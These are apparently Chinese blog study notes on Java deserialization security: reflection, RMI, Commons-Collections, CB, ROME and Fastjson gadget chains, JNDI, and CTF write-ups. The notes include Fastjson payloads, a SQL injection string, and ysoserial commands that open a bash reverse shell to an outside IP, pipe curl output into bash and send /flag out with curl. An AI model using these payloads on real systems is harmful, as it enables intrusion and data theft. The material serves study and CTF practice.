java安全

基础

反射关键四个点

获取类

getclass:存在实例,获取类

class:传入类,只获取class对象

forname:通过名字获取类

内部类

若c1类中编写c2类,则编译的时候会构造出c1$c2.class

同时forClass获取内部类也是用$

可变长函数

在java底层都相当于数组

动态代理

语法

  • ClassLoader
  • 需要代理的对象
  • 实现了InvocationHandler接口的对象(实现)

反射函数

forName

当forName函数第二个参数为ture的时候,会进行类初始化

如下代码先执行static 最后执行构造函数

static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯,但在当前构造函数内容的前⾯

那么,若有函数

image-20240822162938175

则可以已通过构造一个恶意类,使它的static函数被虚拟机类初始化时能够getshell

newInstance

调用无参构造,或者在构造器上面调用构造函数

  • 无参构造函数

  • 方法不能私有

如上 Runtime类构造函数私有,报错

(单例模式:对于Web应用来说,数据库连接只需要建立一次,开发者可以将数据库连接使用的类的构造函数设置为私有,然后编写一个静态方法来获取)

则换成Runtime.getRuntime()获取对象

getMethod

获取类的公有方法,由于java支持重载,则需要传入两个参数

  • 函数名
  • 参数列表

例如

invoke

执行方法 ,第一个参数

  • 普通方法,传入对象
  • 静态方法,传入类

第二个参数是传入方法的参数

综上所述,

获取类,获取方法

利用获取的静态方法传入类调用构造函数,得到对象,然后invoke调用方法

getConstructor

没有无参构造,也没静态调用构造

接受构造函数列表类型,返回引用了该构造函数的java.lang.reflect.Constructor 对象,然后用newinstance将他实例化

想调用ProcessBuilder第二个构造函数的时候由于是变长参数,又因为newInstance函数本身接收的是一个可变长参数,则传入一个二维数组

getDeclared

  • 私有方法调用
  • 不继承父类
  • 需要setAccessible(ture)

getRuntime

Runtime类中的静态方法,可以省略实例化的过程,invoke直接放入一个类即可,如果不使用它则需要通过getConstructor来实例化对象

实例

由于Runtime类不可直接序列化,所以通过Class类以及强转得到

首先获取class原型对象(可序列化)

然后通过getMethod获取了getRuntime和exec方法

通过invoke调用getRuntime方法来获取runtime对象,然后同样调用exec方法

RMI

结构

如下

  • 继承Remote并且定义函数的接口
  • 实现此接口的类
  • 实例化上面的类后绑定,创建Registry

LocateRegistry.createRegistry(1099);创建了Registry

Naming.bind绑定到将一个对象和一个名字(hello)绑定在一起

客户端

利用接口,Naming.loockup查找并且创建对象

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name

到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI

Server;最后,远程⽅法实际上在RMI Server上调⽤。

tcp连接两次,第一次根据绑定的ip查询Registry,第二次接受序列化数据,反序列化后得到目标ip和端口

安全性

Naming下的list和lookup方法

此处还存在一个codebase漏洞,反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

gadget

CC1

1
调用AnnotationInvocationHandler#invoke去调用lazymap#get最后到达transform方法

在Java 8u71以后的版本AnnotationInvocationHandler新建了一个LinkedHashMap对象,并将原来的键值添加进去,导致CC1 CC3不可用

  • Runtime是内置类,需要获取.class后getMethod获取getRuntime方法

  • TransformedMap用来修饰一个map,map被修改键值的时候会回调,所以构造outputMap,被修改键值的时候触发ChainsfromedMap

  • AnnotationInvocationHandler类构造方法私有,需要反射获取,它的价值是修改map的键值,代替了demo中的put

  • 关于AnnotationInvocationHandler类的构造

    所以构造的时候传入了Rentention类,这个类有一个value方法,所以给innerMap传入一个value键

  • lazymap:链子中代替了transformMap,他的get方法找不到参数的时候会调用transfrom,很巧的是可以利用动态代理调用AnnotationInvocationHandler#invoke去调用lazymap#get

  • AnnotationInvocationHandler#readObject中的value被设置,但是可以用constanTransformer来绕过,强制返回一个Runtime.class

AnnotationInvocationHandler#readObject–>lazymap#get–>transfrom

CC3

1
通过InstantiateTransformer调用TrAXFilter的构造方法最后调用templates.newTransformer()来动态加载字节码

同cc1,限制于8u71

绕过了InvokerTransformer

注意!下图的transformers未修改

CC6

1
HashMap#readObject -->  hash(key)  -->  key.hashCode (TiedMapEntry#hashCode) -- > TiedMapEntry#getValue --> this.map.get (LazyMap#get)

为了解决sun.reflect.annotation.AnnotationInvocationHandler#readObject在8u71后的变化

又回到了如何调用LazyMap#get的问题,这里利用了TiedMapEntry

TiedMapEntry的构造函数传入一个map和一个key,他的getValue方法调用的了map的get方法并且传入

key

同时,直接构造的话会让最后的get进不去,outputMap会多上一个键,需要手动remove

CC5

1
利用BadAttributeValueExpException#readObject调用到TiedMapEntry#toString-->TiedMapEntry#getValue-->LazyMap#get

CC shiro

1
2
3
通过CC6调用到TiedMapEntry#getValue-->this.map#get-->transfrom(key)
CC6直接打LazyMap#get,这里利用TempLatesImpl
构造key为一个恶意TempLatesImpl对象,然后invokeTransformer传入newTransformer方法

shiro在链子中存在数组会报错

首先,从动态加载字节码的知识可知,我们可以如上构造exp

但是此时仍然是一个数组,有没有办法跳过ConstantTransformer呢?

TiedMapEntry的构造函数传入一个map和一个key,他的getValue方法调用的了map#get–>transfrom(key)

CC2

1
2
PriorityQueue-->TransformingComparator#compare-->transfrom
PriorityQueue可以调用到java.util.Comparator对象

在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两

个分⽀版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

commons-collections4

  • 直接CC6的decorate方法改成lazymap()即可

  • 同时还出现了CC2和CC4链子

!!CC2利用了!!

  • java.util.PriorityQueue:存在反序列化入口,可以调用到java.util.Comparator对象
  • org.apache.commons.collections4.comparators**.TransformingComparator存在compare方法**
  • compare方法调用了transfrom

随后

  • CC3.2.2增加了序列化检查
  • CC4.1直接禁止了部分transfromer类序列化

CB

1
PriorityQueue—-》org.apache.commons.beanutils.BeanComparator#compare--》递归调用getter方法--》TemplatesImpl#getOutputProperties

CB库的getProperty会调用相应javaBean的getter方法来获取对应的属性,同时支持递归

我们从CC2中知道,PriorityQueue可以调用到java.util.Comparator对象

CB中存在org.apache.commons.beanutils.BeanComparator#compare:当比较的参数存在值的时候会通过getProperty寻找属性

而getProperty会递归调用getter方法

而在TemplatesImpl中存在getOutputProperties

1
2
重点!!后面很多链子都会去找getter链子然后调用到TemplatesImpl#getOutputProperties
之前的链子都是利用TemplatesImpl#newTransformer动态加载字节码以及直接invoke调用Runtime

则只需要让o1为TemplatesImpl,property为OutputProperties

就可以通过getter调用到TemplatesImpl#getOutputProperties动态加载字节码

Shiro-CB

1
寻找一个可以替代org.apache.commons.collections.comparators.ComparableComparator的类
  • serialVersionUID不同
  • CB缺乏CC依赖(BeanComparator构造函数调用了org.apache.commons.collections.comparators.ComparableComparator)

问题1:手动设置UID即可

问题2:通过String.CASE_INSENSITIVE_ORDER获取CaseInsensitiveComparator类,他

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

原生链

1
2
HashSet#readObject --> HashSet#put-->动态代理调用AnnotationInvocationHandler#equalsImpl--》TemplateImpl
中间需要trick构造HashSet

7u21

AnnotationInvocationHandler#equalsImpl调用了所有方法

这里可以想到动态字节码

又根据他的invoke方法,只需要被动态代理的对象被调用equals方法且只有一个参数

这里涉及到两个方法的区别,java.util.PriorityQueue调用的是compareTo

为了调用到equals方法,想到了不能让键重复的集合

在HashSet#readObject –> HashSet#put中

其中的key是我们传入的可控的对象,而进入到这一步要求proxy对象的“哈希”,等于TemplateImpl对象的“哈希”。

trick

反序列化逻辑如:HashMap中的元素去重,分别是proxy和TemplatesImpl,获取hashcode()成功触发equals(),调用到代理的equalsImpl,然后遍历this.type的方法也就是TemplatesImpl的方法

Hessian

Fastjson

JdbcRowSetImpl

1
2
3
4
5
6
7
8
9
10
11
12
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);

a对象缓存绕过,b对象设置autoCommit导致反序列化时设置反射属性

com.sun.rowset.JdbcRowSetImpl.setAutoCommit() –>com.sun.jndi.rmi.registry.RegistryContext.lookup()

  • 较低版本JDK(JDNI)
  • 出网

TemplateImpl

1
2
3
4
5
6
7
String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);

构建了一个恶意类,然后base64编码

需要开启Feature.SupportNonPublicField,实战中不适用

BasicDataSource

利用的是BCEL

  • 不需要出网,不需要开启特殊的参数,适用范围较广
  • 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制

ROME

1
toString--》getPropertyDescriptors--》Templateslmpl

用于处理XML数据的库

EqualBeans(ObjectBean)

利用hashmap

hashmap#readObject–>this.map#hashcode(EqualBeans#hashcode)– >EqualBeans#toString

HashTable

绕过hashmap

HashTable#readObject–>this.key#reconstitutionPut–>this.key#hashcode(EqualBeans#hashcode)– >EqualBeans#toString

BadAttributeValueExpException

cc链里面调用到toString的方法

二次反序列化

RMIConnector

1
InvokerTransform#transform() -> RMIConnector#connect() ->> RMIConnector#findRMIServerJRMP()

RMIConnector#findRMIServerJRMP会将参数进行反序列化

找到调用它的函数

  • path开头/stub
  • 截取后面的为base64参数传入

最后找到connect

SignedObject

Jackson

writeValueAsString是jackson序列化自带的入口,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用

而在POJONode父类的父类中中有toString方法,可以触发二次反序列化

类加载器

http协议使用loader类,不以/结尾则识别为JAR文件,剩下的都是file协议

顺序:

  • 寻找已加载以及父加载器
  • 根据url指定方式读取加载字节码
  • 处理字节码称为类

defineclass不会触发类初始化,如果想要利用他执行命令需要设法触发构造函数

加载字节码

URLclassloader:远程加载字节码

ClassLoader#defineClass:直接加载字节码,需要触发构造函数

TemplatesImpl:底层调用了defineClass,字节码必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 子类

BCEL ClassLoader:java8u251之前

其他

基础概念

reference引用:传入类名,工厂名,工厂位置

又由于JNDI可以绑定引用对象,就可以在工厂位置中嵌入恶意代码实现诸注入

在本地开一个存在恶意TestRef的服务器

逻辑:JNDI服务器绑定了恶意远程对象,客户端调用lookup去查找的时候会触发恶意代码

同时JNDI也可以去打RMI

高版本的JDK禁止了调用远程服务器,则需要寻找本地可利用的恶意工厂类(tomcat8的beanfactory反射调用EL表达式)

fastjson反序列化漏洞

解析json字符串的fastjson库提供了一个将字符串根据@type类型解析为对象的功能

在处理完字符串之后需要获取类的反序列化器进行反序列化

最早的版本存在黑名单,但是只过滤某些有bug的类

自定义的类之后会来到

会通过一个beaninfo的build方法获取这个类的信息

遍历三次,分别获取setter,属性,getter(逻辑大概是既然需要处理一个类,那么就需要得到这个类的属性并且知道怎么将他的属性赋值)

getter需要满足条件(返回值是特定的类)

若某个属性只有get没有set,反序列化的时候会通过getOnly属性来让他调用get方法

这个过程中以后一个asmEnable属性,关闭的时候会调用JavaBeanDeserializer,开启则调用自定义的asmFactory作为反序列化,为了调试代码需要把它关闭掉

怎么把它关掉呢?第一次获取setter的时候只允许传入一个参数,则不考虑,第三次获取getter的时候可以利用

与普通序列化漏洞的区别

CTF

网鼎杯2020thinkjava

拿到class文集爱你,放进idea的out目录下反编译

跟进一下函数,存在注入

此处利用到jdbc注入

  • #既是sql注释符,又是url中的锚点,jdbc类似url解析

  • 由于#后的字符被忽略,前面的数据正常解析

  • #后的数据带入数据库,单引号闭合后注入

同时发现数据库默认myapp

这里可以利用swaggerUI

于是构造

1
2
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#

后面都是常规的sql注入 得到用户账密后返回一段cookie,rO0AB开头,怀疑反序列化

使用bp插件探测java ROME链子

反弹shell poc

1
2
3
4
5
6
7
bash -i >& /dev/tcp/49.234.59.200/444 0>&1
base64编码后

java -jar ysoserial-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzQuNTkuMjAwLzQ0NCAwPiYx}|{base64,-d}|{bash,-i}">a.bin

或者本地写一个1.txt 然后
java -jar ysoserial-all.jar ROME "curl http://49.234.59.200/1.txt|bash" > a.bin

curl和ping外带的poc

1
2
3
java -jar ysoserial-all.jar ROME "curl http://49.234.59.200:666 -d @/flag" > a.bin

java -jar ysoserial-all.jar ROME "ping dji552.dnslog.cn" > a.bin

网鼎杯2020青龙组filejava

下载路径目录穿越

/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

然后目录穿越到

/usr/local/tomcat/webapps/ROOT/WEB-INF/classes下去下载class文件

后面是一个xml的cve

[CISCN 2023]deserbug

main函数接受bugstr base解码后反序列化

Myexcept类存在

联想到CC3


java安全
http://example.com/2024/12/30/java安全/
作者
z2zQAQ
发布于
2024年12月30日
许可协议